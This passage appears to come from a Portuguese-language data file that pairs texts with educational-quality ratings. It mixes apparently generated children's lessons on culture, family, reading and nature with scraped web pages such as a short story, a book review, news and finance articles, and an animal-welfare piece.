trouxeram sementes diferentes. Essas sementes são as culturas, os costumes, as comidas e as tradições que cada povo carrega consigo. Por exemplo, os povos indígenas já estavam aqui muito antes de os portugueses chegarem. Eles têm uma cultura riquíssima, com línguas próprias, artesanato lindo e uma relação muito forte com a natureza. + +Depois, vieram os portugueses, trazendo a sua língua, a sua religião e seus costumes. Mais tarde, muitos africanos foram trazidos para o Brasil, e mesmo sofrendo muito, eles mantiveram suas tradições vivas, como a capoeira, o samba e muitas comidas deliciosas. E não podemos esquecer dos imigrantes que vieram da Itália, Alemanha, Japão e tantos outros lugares! Cada um deles contribuiu com um pedacinho para formar a nossa cultura brasileira, que é tão diversa e colorida. + +Mas, o que significa cultura? Cultura é tudo aquilo que aprendemos e fazemos juntos, como a língua que falamos, as roupas que vestimos, as músicas que cantamos, as danças que praticamos e as comidas que preparamos. Cada região do Brasil tem a sua própria cultura, com festas, comidas e costumes diferentes. No Nordeste, por exemplo, temos o São João, com suas danças e comidas típicas. No Sul, temos a cultura gaúcha, com o chimarrão e as danças tradicionais. + +A população brasileira é formada por pessoas de diferentes origens, cores, religiões e culturas. E é essa mistura que torna o nosso país tão único e especial! Todos nós somos importantes e temos algo a contribuir para a construção de um Brasil melhor. Que tal conversarmos com nossos pais, avós e vizinhos para aprendermos mais sobre suas origens e culturas? Assim, podemos valorizar ainda mais a nossa diversidade e construir um futuro mais justo e igual para todos! E você, de qual flor desse jardim você veio? Quais sementes você está plantando para o futuro?",Geografia,População e cultura,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir de forma acessível o conceito de diversidade cultural brasileira, utilizando uma linguagem adequada para crianças. Aborda a contribuição de diferentes povos na formação da cultura do país, incentivando a valorização das origens e o respeito às diferenças. O texto é claro, coerente e estimula a reflexão sobre a identidade cultural e a importância da inclusão, sendo relevante para o ensino fundamental.",5,1.0 +"Era um rancho de dois alqueires, na margem direita do rio, com um velho casebre perto do barranco. Nas minhas férias, papai sempre me levava lá. Ele gostava de ficar estirado em uma poltrona, ouvindo os sons da natureza e fumando um cachimbo, enquanto eu arrumava algo para fazer. +Descontando o assobio dos canários e dos bem-te-vis que viviam na mata, tudo ao redor era muito quieto. Quase podíamos ouvir as águas descendo o rio. E então o meu pai, de pé na ribanceira, gritou para a outra margem: “Eco!”. +Imediatamente uma voz emergiu do meio das árvores, sobrepondo-se à dele com um mínimo de atraso: “Eco!”. +Olhei espantado para a densa floresta do outro lado do rio e perguntei: “Quem mora lá?”. E ele, sorrindo, passou a mãos nos meus cabelos: “Ah, é um outro homem. E ele também tem um filho, igual a nós dois”. +“Eia!”, gritou novamente. E imediatamente aquele homem do outro lado gritou também. Resolvi experimentar, juntando todo o ar que pude nos meus pulmões: “Cadê vocês?”. E logo ouvi uma voz idêntica gritar para mim: “Cadê vocês?”. +“Estamos aqui!”, tornei a berrar. +E o menino do outro lado repetiu: “Estamos aqui!” +Maravilhado, perguntei a papai: “Posso ir lá brincar com ele?”. +“Oh, não! Você não o veria”. +Aquilo me entristeceu. +“Mas eles estão lá, fazendo as mesmas coisas que fazemos aqui, eu e você”, disse papai. +“Eles também pescam? E o menino corre? Será que tem amigos?”. Eu fazia muitas perguntas ao meu velho paizinho. “Tenho certeza que sim”, disse ele. “Fazem tudo isso e muito mais”, falou, sorrindo e me abraçando. +Essas são as lembranças mais vivas que tenho dele. Já faz tanto tempo! Mas no rancho, nada mudou. O rio continua aqui, imenso e silencioso. E a outra margem permanece lá, misteriosa, com as mesmas árvores de sempre ocultando o que quer que haja por trás delas. +Eu já não sou mais aquele menino. Porém, como não há mais ninguém aqui para achar estranho, resolvo gritar: +“Eco!”. +E, ao mesmo tempo, do fundo daquela mata na outra margem, eis que a voz me responde: “Eco!”. Não mais a voz do menino de outrora, mas, inquestionavelmente, a voz das minhas lembranças. A voz do meu pai. +Eu gostaria muito de ir para lá, abraçá-lo como antes, e dizer que o amo, como eu nunca disse. Aproveito o momento e grito outra vez: “Eu amo você!”. +E sou logo correspondido: “Eu amo você!”. +Hoje eu sei que é inútil atravessar o rio e explorar a outra margem. Não haveria nada lá, pois o que eu mais procuro acabaria se transferindo para a margem oposta, onde agora me encontro. “Ainda assim, eu queria o seu abraço”, penso sozinho. +E do outro lado do rio, sem que eu veja, ele me vê. Sentado na poltrona, sorrindo com um cachimbo no canto boca. “Algum dia, filho. Algum dia...”. +Postado por L.F. Riesemberg às 12:09 PM +Marcadores: L.F. Riesemberg +4 comentários: +Felipe Bandeira junho 28, 2017 12:52 PM +Simplesmente lindo! Amei este conto. Aliás, todo o trabalho realizado no blog é digno de apreço e notabilidade. Parabéns. Inspiro-me em ti para criar os meus próprios relatos. +ResponderExcluir +Respostas +Responder +Onii-chan dezembro 01, 2017 11:32 AM +Achei o conto bem emocionante,tendo um ótimo desfecho e um desenvolvimento maravilhoso. E pensar na outra margem do rio é um sentimemto bom, a parte em que ele fala que não adiantaria ir para a outra margem é emocionante te fazendo ver que mesmo depois de descobrir o que é um eco ele ainda tem esperanças que seja seu pai +ResponderExcluir +Respostas +Responder +Unknown junho 25, 2018 11:31 PM +Ah, que conto gostoso pra se ler antes de dormir... Leve e carinhoso. +Gostei bastante!! +ResponderExcluir +Respostas +Responder +Débora Miranda janeiro 05, 2022 5:35 PM +Ola. Esse conto foi tirado de um livro? +Quando eu era criança eu tinha um livro de contos, e na lista havia um sobre Eco...maw nao sei se é este. Obrigada +ResponderExcluir +Respostas +Responder +Adicionar comentário +Carregar mais... +Postagem mais recente Postagem mais antiga Página inicial +Assinar: Postar comentários (Atom) +Novo! +Contos +Contos fantásticos curtos +C...",original,original,original,original,3,0.6 +"[Resenha]: As vantagens de ser invisível — de Stephen Chbosky | Mato por livros +[Resenha]: As vantagens de ser invisível — de Stephen Chbosky +Sinopse: Cartas mais íntimas que um diário, estranhamente únicas, hilárias e devastadoras — são apenas através delas que Charlie compartilha todo o seu mundinho com o leitor. Enveredando pelo universo dos primeiros encontros, dramas familiares, novos amigos, sexo, drogas e daquela música perfeita que nos faz sentir infinito, o roteirista Stephen Chbosky lança luz sobre o amadurecimento no ambiente da escola, um local por vezes opressor e sinônimo de ameaça. Uma leitura que deixa visível os problemas e crises próprios da juventude. Eu ganhei essa lindeza de aniversário (anos atrás), e resolvi reler para resenhá-lo aqui. Afinal, gosto muito deste enredo. S2 Confira agora a sinopse, trailer do filme e o meu parecer de “As vantagens de ser invisível"", obra do autor Stephen Chbosky, uma publicação da Rocco — Jovens Leitores. +""Porque ser invisível tem lá suas vantagens"" Uma viagem ao infinito! O enredo gira em torno de Charlie e seus conflitos: ora desejando ser invisível; ora querendo alcançar o infinito. Isso tudo narrado em cartas que o próprio escreve como um desabafo, enviando a um amigo imaginário/desconhecido. — Bom, acho que Michael era um cara legal e não entendi por que ele fez aquilo. Apesar de me sentir muito triste, acho que o que realmente me aborrece é não entender o que aconteceu. (Livro: As vantagens de ser invisível, Pág.14) Michael Dobson era o seu melhor amigo, porém suicidou-se. Charlie, por sua vez, fechou-se ainda mais para o mundo, sendo considerado por muitos (até mesmo pela família), como um adolescente estranho. Além desta tragédia, existe o fato de que a tia que tanto amava, Helen, sofrera um acidente de carro quando ele ainda era criança e veio a óbito. E foi a partir deste trágico episódio que ele tornara-se introspectivo. — Há quanto tempo vocês estão juntos? — perguntei. Então eles começaram a rir. E riram muito mesmo. — O que tem de tão engraçado nisso? — questionei. — Nós somos irmãos — disse Patrick, ainda rindo. (Livro: As vantagens de ser invisível, Pág.31) Eis que Charlie conhece Patrick e Sam, que na verdade são meio-irmãos, pois a mãe de Sam se casou com o pai de Patrick. E dentre tantas estranhices por parte dele, os novos amigos passam a enxergá-lo como um garoto muito sensível e carente, o que de fato é. De ímpeto Charlie sente atração por Sam, que é uma garota descolada, além de muito bonita. No entanto, ela o alerta para que não leve as coisas para o outro lado, querendo algo mais que amizade. Mas, no fundo, Sam sente imenso carinho por Charlie, além de o enxergar de outra forma, isto é, desejando-o. Além dos novos amigos, Charlie é amparado pelo seu professor de inglês, Bill, que enxerga a dificuldade dele de interagir e sempre lhe presenteia com livros e uma amizade sincera. E mesmo introvertido, ele se enturma com a galera, participando de novas experiências e conseguindo deixar de ser tão invisível. Só queria que Deus, ou meus pais, ou minha irmã, ou alguém, me dissesse o que há de errado comigo. Que me dissesse como ser diferente de uma forma que faça sentido. Que fizesse tudo isso passar. E desaparecer. Sei que é errado, porque a responsabilidade é minha, e sei que as coisas pioram antes de melhorar porque é o que diz meu psiquiatra, mas essa fase pior está grande demais pra mim. (Livro: As vantagens de ser invisível, Pág.149) Apesar de Charlie passar por uma boa fase, algo acontece, fazendo com que todos (menos o professor de inglês e sua família) se afastem dele. É neste momento que ele tem uma recaída. Agora cesso os meus comentários para não soltar mais spoilers. Falar sobre este livro é complicado de uma forma boa. Deixe-me explicar... O leitor que se arriscar nessa leitura, tem que estar ciente de que se trata de um enredo Infanto Juvenil, além de ser escrito de forma epistolar, ou seja, como um desabafo em cartas. É uma história sem gra...",original,original,original,original,3,0.6 +"Estátua do imperador romano Calígula é encontrada na Itália - Ciência - iG +Por EFE | 12/07/2011 16:51 +Artefato provinha de escavação ilegal e estava prestes a ser levada para fora do país +As autoridades italianas anunciaram nesta terça-feira (12) em Roma o descobrimento de uma estátua de mármore do imperador romano Caio Julio César Augusto Germânico, mais conhecido como Calígula (12-41 d.C.), sentado em um trono. +A estátua, que após ser restaurada passará a ser exposta em um museu de Nemi, mostra o imperador de Roma no período de 37 a 41 d.C. sentado em um trono, lembrando a postura de Zeus. Os dois supostos responsáveis da escavação ilegal já foram encaminhados à Justiça por uma possível violação de pesquisas arqueológicas e posse ilícita de bens culturais pertencentes ao Estado. O descobrimento deu início a uma escavação de urgência por parte das autoridades italianas, que descobriram os restos de um complexo termal da época imperial romana e cerca de 250 peças de interesse histórico arqueológico. +Link deste artigo: http://ultimosegundo.ig.com.br/ciencia/estatua-do-imperador-romano-caligula-e-encontrada-na-italia/n1597076976720.html",original,original,original,original,3,0.6 +"Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus. +Compartilhe nas redes! +Share on facebook +Share on linkedin +Share on twitter +Share on email +Índice +Projeto altera faixa de isenção do Imposto de Renda durante a pandemia do novo coronavírus. +Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus. +Isenção Imposto de Renda +Imposto de Renda +Projeto altera faixa de isenção do Imposto de Renda durante a pandemia do novo coronavírus. +Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus. +Conforme o texto, a medida consideraria a partir do mês de março até enquanto durar o estado de calamidade pública reconhecido pelo Congresso Nacional, previsto até dezembro. +Isenção Imposto de Renda +A proposta em tramitação na Câmara dos Deputados altera a Lei 11.482/07 e estabelece uma alíquota de 27,5% sobre salários acima de R$ 5.000,00, com parcela a deduzir de R$ 1.375,00. +Desde 2015 são cinco faixas progressivas, de R$ 1.903,38 (isentos) até acima de R$ 4.664,68 – no caso, a alíquota é de 27,5% e parcela a deduzir, R$ 869,36. +“Em vista do aperto orçamentário sofrido pelas famílias brasileiras, a proposta eleva o limite de isenção da tabela progressiva mensal do IRPF de R$ 1.903,98 para R$ 5.000,00”, disse o autor da proposta, deputado Jorge Solla. +“O foco são contribuintes assalariados ainda não contemplados por ações que aliviem os efeitos da Covid-19”, conclui. +Imposto de Renda +Desde 2015, a tabela do Imposto de Renda não sofre alterações. De 1996 a 2014, a tabela foi corrigida em 109,63%. +O IPCA acumulado, no entanto, está em 327,37%. A falta de correção na tabela prejudica principalmente os contribuintes de menor renda, que estariam na faixa de isenção, mas são tributados em 7,5% por causa da defasagem. +Segundo o Sindifisco, o atraso na correção da tabela leva a um efeito cascata que não apenas aumenta o imposto descontado na fonte como diminui as deduções. +Fonte: Contábeis +Classifique nosso post post +Compartilhe nas redes: +Share on facebook +Facebook +Share on twitter +Twitter +Share on pinterest +Pinterest +Share on linkedin +LinkedIn +Deixe um comentário Cancelar resposta +O seu endereço de e-mail não será publicado. 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Família é como um time, um grupo de pessoas que se amam, cuidam umas das outras e compartilham momentos especiais. Podem ser seus pais, seus irmãos, seus avós, seus tios, seus primos… ou até mesmo amigos muito próximos que consideramos como família! + +Cada família tem sua própria história, seus próprios costumes e tradições. Algumas famílias adoram se reunir para comer pizza no domingo, outras preferem assistir a filmes juntinhas, e outras ainda gostam de viajar e explorar novos lugares. Não importa qual seja a tradição, o importante é que ela una a família e crie memórias inesquecíveis. Que tal perguntar para seus pais ou avós sobre as tradições da sua família? Você pode descobrir histórias incríveis! + +Mas a nossa história não se limita à nossa casa. Ela se estende para a comunidade onde vivemos. A comunidade é o conjunto de pessoas que moram perto de nós, na nossa rua, no nosso bairro, na nossa cidade. Na comunidade, encontramos nossos amigos da escola, os vizinhos que sempre nos cumprimentam e as pessoas que trabalham nos lugares que frequentamos, como o padeiro, o carteiro e a professora. + +Assim como cada família tem sua história, cada comunidade também tem a sua. A história da nossa comunidade é feita de muitas histórias diferentes, de pessoas que vieram de outros lugares, de acontecimentos importantes e de lutas para construir um lugar melhor para todos. Conhecer a história da nossa comunidade nos ajuda a entender o presente e a construir um futuro melhor. Por exemplo, você sabe por que a praça do seu bairro tem esse nome? Ou qual foi a primeira escola da sua cidade? Descobrir essas histórias pode ser muito divertido! + +A família e a comunidade são como as raízes de uma árvore. Elas nos dão força, nos protegem e nos ajudam a crescer. Cuidar da nossa família e da nossa comunidade é cuidar de nós mesmos e da nossa história. Que tal fazer um desenho da sua família e da sua comunidade? Ou escrever uma pequena história sobre um momento especial que você viveu com eles? Assim, você estará construindo a sua história e contribuindo para a história de todos!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho possui valor educacional significativo, abordando temas como família, comunidade, tradições e a importância da história pessoal e coletiva. Apresenta uma linguagem acessível e convidativa, adequada para crianças do ensino fundamental, incentivando a reflexão e a valorização das relações sociais. O texto promove a construção da identidade e o senso de pertencimento, além de estimular a pesquisa e a expressão criativa.",5,1.0 +"Sugestão de leitura: relatório World Population Prospects 2017 | Blog Sapi: Conteúdo para Candidatos do CACD | Curso Sapientia +1 de agosto de 2017 / cursosapientia +Um dos tópicos recorrentes da prova de Geografia do CACD é a chamada geografia da população. É importante que o candidato conheça bem as principais tendências e projeções sobre esse tema e, por isso, o blog Sapi traz sempre conteúdo relacionado a isso, como, por exemplo, a sugestão de leitura sobre o relatório Tendências Globais 2016 da ACNUR sobre refugiados. A sugestão de leitura de hoje também é relacionada a esse tópico do edital: foi publicado o World Population Prospects: the 2017 Revision, relatório com as principais projeções de crescimento e variação da população mundial. Formulado pelo Departamento das Nações Unidas para Assuntos Econômicos e Sociais da ONU, esse relatório é uma das fontes mais completas de informação sobre a situação demográfica atual do mundo e suas projeções de crescimento. +Com a 1ª Fase do CACD 2017 chegando, é compreensível que o candidato não tenha muito tempo para leituras de relatórios longos, então fica a dica do Sapi! Junto com o relatório, foi divulgado um resumo das principais conclusões desse relatório, que contém informações como: +Nigéria é o país que mais cresce no mundo atualmente, podendo passar de 7º país mais populoso (hoje) para 3º lugar antes de 2050; +até 2050, é esperado que aproximadamente metade do crescimento demográfico mundial seja concentrado em apenas 9 países; Índia, Nigéria, República Democrática do Congo, Paquistão, Etiópia, Tanzânia, Estados Unidos, Uganda e Indonésia; +a taxa de fertilidade tem caído em praticamente todas as regiões do mundo, inclusive na África, passando de 5.1 nascimentos por mulher em 2000-2005 para 4.7 em 2010-2015; +o processo de envelhecimento da população está cada vez mais acelerado: em comparação a 2017, espera-se que o número de pessoas acima de 60 anos mais que duplique até 2050 e mais que triplique até 2100; +apesar da manutenção das discrepâncias na expectativa de vida entre homens e mulheres e entre países, globalmente houve melhora nesse indicador, que passou de 65 anos para homens e 69 anos para mulheres em 2000-2005 para 69 anos para homens e 73 anos para mulheres em 2010-2015; +Outras informações relevantes podem ser encontradas nesse resumo disponibilizado pela ONU, uma ótima ferramenta para quem está com pouco tempo. +Outra dica Sapi é que, mesmo quem não tiver tempo para ler todo o relatório com as principais projeções (são 53 páginas), dê uma olhada nos gráficos e tabelas apresentados. A representação visual muitas vezes ajuda a compreender melhor as informações, além de facilitar a memorização. +← Mecanismo de Revisão Periódica Universal (RPU) +Défi de Français: Ce que, ce dont… →",original,original,original,original,4,0.8 +"Matéria sobre coleções, com entrevista de nosso editor e citação de nossa página publicada no +suplemento estadinho do Jornal O Estado de São Paulo de 18.11.2000. Textos, fotos e créditos +reproduzidos na íntegra. No rodapé o link direto para o Jornal. +Estima-se que existam mais de 1 milhão de colecionadores no Brasil. Mais do que juntar coisas, estas pessoas pesquisam e aprendem muito com o hobby: acabam estudando geografia, história e curiosidades sobre diferentes culturas +Oficialmente, não se sabe quem ou quando começou essa mania, mas, segundo Marcelo Hideo Motoyama, colecionador e criador do primeiro site sobre o assunto no Brasil - www.colecionismo.com.br -, pode-se afirmar que as moedas foram os primeiros objetos colecionáveis. Já a filatelia (coleção de selos) é a mais organizada mundialmente. ""Colecionar é descobrir coisas novas, adquirir cultura, criar senso de organização e cumprir metas"", afirma. Para Motoyama, a quantidade de objetos não é o mais importante. Deve-se levar em conta os conhecimentos adquiridos com o hobby, que exige pesquisa e dedicação. +1- Escolha um tema: algo que você goste ou tenha curiosidade em conhecer. +2 - Separe um lugar para guardar os objetos, como um armário ou caixa com divisória: o importante é pensar na conservação. +3 - Comente com as pessoas sobre sua coleção porque isso ajuda na hora de trocar ou adquirir peças novas. +4 - Se possível, sempre que comprar um objeto novo, tenha um adicional para que você crie um acervo de troca. +5- Pesquise e estude muito o tema escolhido. +6 - Peças classificadas ficam mais organizadas. +Conhecer, experimentar e colecionar chás é a paixão de Gabriela M. Tachinardi da Silva, de 11 anos. ""Sempre gostei de tomar chá antes de dormir. Comecei, no ano passado, a me interessar pelo assunto e hoje tenho mais de 70 tipos de chás, alguns do Japão, da Dinamarca, da Inglaterra e dos Estados Unidos."" Assídua pesquisadora, Gabriela busca na internet informações sobre cada chá que consegue. ""Colecionar significa aprender coisas novas."" +Gabriel Batini Zapparoli, de 8 anos, começou a interessar-se por dinossauros aos 3 anos, quando ganhou da tia uma coleção de montar. Hoje, Gabriel tem 89 bonecos e 100 revistas sobre o assunto. Pergunte o que quiser sobre qualquer uma das espécies que a resposta vem rapidinho: nome, tamanho, época em que viveu, o que comia... ""O herbívoro Ultrasaurus tinha 30 metros de altura e era um dos maiores da espécie, mas também existiram alguns tipos que cabiam na palma da mão"", conta. Quando crescer, Gabriel já sabe a profissão que vai seguir: "" Vou ser paleontólogo, um cientista que estuda os dinossauros."" (R.S) +Copyright © 2000 O Estado de S. Paulo. Todos os direitos reservados",original,original,original,original,4,0.8 +"Olá, exploradores do conhecimento! Já pararam para pensar no poder que as palavras carregam? Elas nos transportam para outros mundos, nos apresentam personagens incríveis e nos ensinam lições valiosas. Dominar a arte da leitura e interpretação é como ter uma chave mágica que abre portas para infinitas possibilidades. + +Imagine que você encontrou um mapa do tesouro, mas ele está escrito em uma língua que você não conhece. Para encontrar o tesouro, você precisa aprender a decifrar o mapa, certo? A leitura e a interpretação funcionam de maneira parecida. Ler é decifrar o código das letras e palavras, enquanto interpretar é entender o que o autor quis nos dizer com aquele texto. + +No nosso dia a dia, somos constantemente bombardeados por textos: notícias, posts nas redes sociais, mensagens dos amigos, livros, filmes… A habilidade de ler e interpretar bem esses textos nos ajuda a tomar decisões mais informadas, a entender o mundo ao nosso redor e a expressar nossas próprias ideias com clareza. Por exemplo, ao ler uma notícia sobre um problema ambiental, podemos entender a gravidade da situação e pensar em maneiras de ajudar a resolver o problema. + +Mas como se tornar um mestre na leitura e interpretação? A primeira dica é: pratique! Quanto mais você lê, mais familiarizado você se torna com diferentes estilos de escrita e vocabulários. Comece com textos que te interessem, como histórias em quadrinhos, revistas sobre seus hobbies ou livros de aventura. Depois, desafie-se com textos mais complexos, como artigos de opinião ou notícias sobre temas importantes. A segunda dica é: seja curioso! Não tenha medo de perguntar o significado de palavras que você não conhece. Use um dicionário ou pesquise na internet. Quanto mais você expande seu vocabulário, mais fácil fica entender os textos. + +A terceira dica é: preste atenção aos detalhes! Ao ler um texto, observe como as frases estão construídas, como os parágrafos estão organizados e como as ideias estão conectadas. Tente identificar o tema principal do texto e as ideias secundárias que o sustentam. Imagine que você está montando um quebra-cabeça: cada peça (palavra, frase, parágrafo) tem um lugar específico e contribui para a formação da imagem final. + +E lembre-se: ler e interpretar não é apenas decodificar palavras, mas sim construir significados. Ao ler um livro, por exemplo, tente se colocar no lugar dos personagens, imagine os cenários e reflita sobre as mensagens que o autor está transmitindo. Qual a relação do texto com a sua vida? O que você aprendeu com ele? + +Então, preparem-se para essa jornada! A cada texto que vocês leem e interpretam, vocês se tornam mais fortes, mais inteligentes e mais preparados para enfrentar os desafios do mundo. A leitura é uma aventura sem fim, e cada página é um novo tesouro a ser descoberto. Agora, que tal pegar um livro e começar a explorar?",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por apresentar alto valor educacional, sendo perfeitamente adequado para o ensino fundamental. Utiliza uma linguagem acessível e motivadora para introduzir a importância da leitura e interpretação textual. Apresenta dicas práticas e relevantes para o desenvolvimento dessas habilidades, incentivando a curiosidade e a reflexão crítica. O texto é claro, consistente e coerente, oferecendo insights valiosos para o aprendizado estruturado.",5,1.0 +"Gol de CDB da Rico 250% do CDI: a cada fase que o Brasil avança na competição, você pode investir mais R$ 500 no produto +Abra sua conta +Skip to content +Voltar +Pesquisar por: +Primary Menu +Análises +Blog +Recomendações +Login +Cadastro Riconnect +Análises +Blog +Recomendações +Já tem conta na Riconnect? +Acesse para uma experiência personalizada. +Login +Cadastro Riconnect +Quem Somos +Ajuda +Riconnect/ +Primeiros passos/ +Calculadora de Tesouro Direto: como funciona passo a passo +18/02/2019 19:36:44 • Atualizado em 09/12/2021 23:54:50 +20 minuto(s) de leitura +Calculadora de Tesouro Direto: como funciona passo a passo +A calculadora do Tesouro Direto é uma ferramenta essencial na tomada de decisão já que cada título rende de forma diferente. Acesse aqui e veja como simular os seus rendimentos através de exemplos práticos. +Time Rico +Compartilhar: +A calculadora do Tesouro Direto é uma ferramenta muito útil para comparar investimentos da renda fixa e escolher a melhor aplicação de acordo com os seus objetivos. +Nos últimos anos, os títulos públicos têm trazido rendimentos consistentes e atrativos. +Além disso, este é um tipo de investimento mais seguro e dinâmico do que a própria poupança. +Mas como o mercado financeiro oferece diversos ativos, é comum ter dúvidas sobre qual escolher, mas por isso estamos aqui e vamos ajudá-lo a tomar a melhor decisão para que você invista com inteligência. +Uma das coisas mais importantes que você precisa entender é que cada título possui um tipo de comportamento. Isso mesmo. Você, como investidor, deve conhecer esse comportamento, pois ele define o risco da aplicação, rendimento e outros aspectos. +Para entender o comportamento de algo, nada como simular e analisar os seus resultados. +Por isso, neste artigo, vamos mostrar como funciona a calculadora do Tesouro Direto e como você pode simular os seus ganhos a partir de agora: +Como calcular o investimento do Tesouro Direto? +Entenda como funciona a calculadora do Tesouro Direto +Simulando os rendimentos na calculadora do Tesouro Direto passo a passo +Exemplos de cálculo da rentabilidade do Tesouro com aportes mensais +Qual a melhor forma de investir no Tesouro Direto? +Como começar a investir no Tesouro Direto hoje mesmo +Se você tiver qualquer dúvida, deixe um comentário no final da página. +Boa leitura! +Como calcular o investimento do Tesouro Direto? +O cálculo considera que os indexadores permaneçam estáveis ao longo do tempo +A calculadora do Tesouro Direto faz as suas operações com base no tipo de título escolhido. Basicamente, há três categorias: +Atrelados à inflação +Indexados à taxa Selic +Prefixados +Os títulos atrelados à inflação possuem rendimento híbrido, ou seja, há uma parte fixa e a outra é pós-fixada, por exemplo, 4,0% + IPCA. +Assim, a calculadora do Tesouro Direto faz uma previsão do quanto o seu dinheiro poderá render considerando que a inflação permaneça constante até a data do resgate. +Caso o IPCA aumente, os seus rendimentos também sobem e vice-versa. +O Tesouro Direto Selic possui uma taxa de rentabilidade muito próxima da taxa Selic. Isso significa que ele rende conforme o andamento deste indexador. +Neste caso, a calculadora considera que a taxa Selic se manteve estável até a data do vencimento. +Portanto, você só precisa multiplicar o valor investido pela taxa básica de juros do período, por exemplo, 6,50% ao ano. +Já o título prefixado consiste em uma taxa de rentabilidade fixa, como 9,0% ao ano, por exemplo. Assim, basta multiplicá-la pelo total aplicado. +Mesmo que pareça uma conta simples, é preciso lembrar que estes ativos trabalham com juros compostos. Isso significa que o seu capital rende juros sobre juros. +Então, contar com uma calculadora do Tesouro Direto é o melhor jeito para realmente saber qual investimento escolher. +Entenda como funciona a calculadora de Tesouro Direto +Na Rico, você pode comparar o desempenho dos ativos desejados com outros investimentos e índices +A calculadora do Tesouro Direto faz uma previsão de rentabilidade do seu capital de ...",original,original,original,original,4,0.8 +"Olá, pequenos exploradores! Já pararam para pensar como o mundo está cheio de vida? Ao nosso redor, vemos cores, sons e movimentos diferentes. Tudo isso graças aos animais e às plantas, que são muito importantes para o nosso planeta e para nós! + +As plantas são como as cozinheiras da natureza. Elas usam a luz do sol, a água e o ar para produzir o próprio alimento, em um processo mágico chamado fotossíntese. Já ouviram falar? É como se elas transformassem ingredientes simples em energia para crescer e nos dar frutos deliciosos, como a maçã e a banana. Além disso, as plantas nos dão o ar que respiramos! Elas são demais, não é? + +E os animais? Ah, os animais são incríveis! Cada um tem um jeito especial de viver. Alguns voam pelos céus, como os passarinhos, outros nadam nos rios e oceanos, como os peixes, e outros correm pelas florestas, como os macacos e as onças. Cada um deles tem um papel importante na natureza. As abelhas, por exemplo, ajudam a polinizar as flores, garantindo que novas plantas nasçam. As minhocas cavam túneis na terra, deixando o solo mais fértil para as plantações. Todos trabalham juntos para manter o equilíbrio do nosso planeta. + +Mas, o que aconteceria se as plantas e os animais desaparecessem? Imagine um mundo sem árvores, sem flores, sem passarinhos cantando. Seria muito triste, não é? Por isso, é tão importante cuidarmos da natureza. Devemos plantar árvores, não jogar lixo nas ruas, economizar água e respeitar todos os seres vivos. + +Agora, que tal explorarmos um pouco mais? Que animais você costuma ver no seu dia a dia? E quais plantas você conhece? Já pensou em plantar uma sementinha e acompanhar o seu crescimento? Cuidar da natureza é um ato de amor e responsabilidade. Vamos juntos nessa aventura!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz conceitos básicos de biologia (fotossíntese, polinização), a importância da flora e da fauna, e a necessidade de preservação ambiental, de forma acessível e lúdica. A linguagem é apropriada para crianças, incentivando a curiosidade e o respeito pela natureza. A estrutura do texto é clara e organizada, facilitando a compreensão e o aprendizado.",5,1.0 +"Nenhum animal merece morrer triturado, muito menos esses filhotes inofensivos e fofos. É horrível e desumano. Se os animais devem ser mortos para o fornecimento de carne, o processo deve ser indolor e suave para essas criaturas. Triturar é uma das maneiras terríveis de matar um animal e é horrível como as pessoas podem realmente realizar esse ato. +Felizmente, países como a Suíça estão revisando esse método e procurando alternativas. Ao banir formalmente a destruição de pintinhos machos vivos, a Suíça deu um grande passo na direção certa. +O abate por maceração é absolutamente brutal. Quando os ovos eclodem, as crias, se saudáveis e fortes, são movidas para outro local onde são preparadas para um tamanho adequado antes de serem transferidas para uma instalação de postura. +Os pintinhos machos, por outro lado, são separados dos pintinhos fêmeas. Isso ocorre porque eles não podem pôr ovos ou não são adequados para a produção de carne. As fêmeas debilitadas e doentes não são deixadas de fora. Elas são enviadas juntas com todos os machos para um moedor de alta velocidade, que os mata instantaneamente. +Embora esse método não seja comum entre os avicultores da Suíça, os legisladores insistiram na proibição formal. +“Essa tendência de criar espécies apenas para a produção de ovos ou carne transforma animais em meros objetos. Isso levou a práticas absurdas, como a fragmentação de filhotes machos vivos ”, disse o comitê da Câmara dos Deputados. +A proibição de abate por maceração entrou em vigor em 1º de janeiro de 2020. Atualmente, os filhotes machos não serão mais mortos usando um moedor de alta velocidade. No entanto, matar através do dióxido de carbono ainda é legal. +Atualmente, a matança de pintinhos machos por gaseamento ainda está em andamento e é legal na Suíça. Isso leva a questionar o motivo por trás da proibição de trituração. Se a trituração é uma opção desumana, como o gás pode ser melhor? +Comparado com o gás, a maceração é até menos cruel, se levarmos em conta que o processo é muito mais rápido. O fato de ser mais rápido não significa que seja aceitável. +Os gases, por outro lado, criam uma sensação de queimação e deixam os filhotes ofegantes. De fato, pode demorar até dois minutos para o filhote morrer, tornando-o mais doloroso e menos rápido. +Triturar é horrível, mas o gás também é. Ambos os métodos devem ser inaceitáveis. +Como o gás através do dióxido de carbono pode ser pior que a maceração, qual é o caminho a seguir? +A determinação do sexo antes da incubação pode ser a solução perfeita para esse problema. Este método determina o sexo de um ovo, testando-o para o hormônio estrona sulfato, que está presente apenas em galinhas fêmeas. Para fazer isso, um laser é usado para criar um buraco na casca do ovo, após o qual uma pequena quantidade de líquido é extraída e testada. Por esse método, os filhotes machos não precisariam passar pelo sofrimento e pela dor associados à maceração, gaseamento e eletrocussão. +Se o gás através do dióxido de carbono pode ser pior que a maceração, qual é o caminho a seguir? +A determinação do sexo antes da incubação pode ser a solução perfeita para esse problema. Este método determina o sexo de um ovo, testando-o com o hormônio estrona sulfato, que está presente apenas em galinhas fêmeas. Para fazer isso, um laser é usado para criar um buraco na casca do ovo, após o qual uma pequena quantidade de líquido é extraída e testada. Por esse método, os filhotes machos não precisariam passar pelo sofrimento e pela dor associados à maceração, gaseamento e eletrocussão. +Atualmente, essa tecnologia está sendo usada por uma empresa alemã, a SELEGGT. A empresa está trabalhando incansavelmente para disponibilizar a 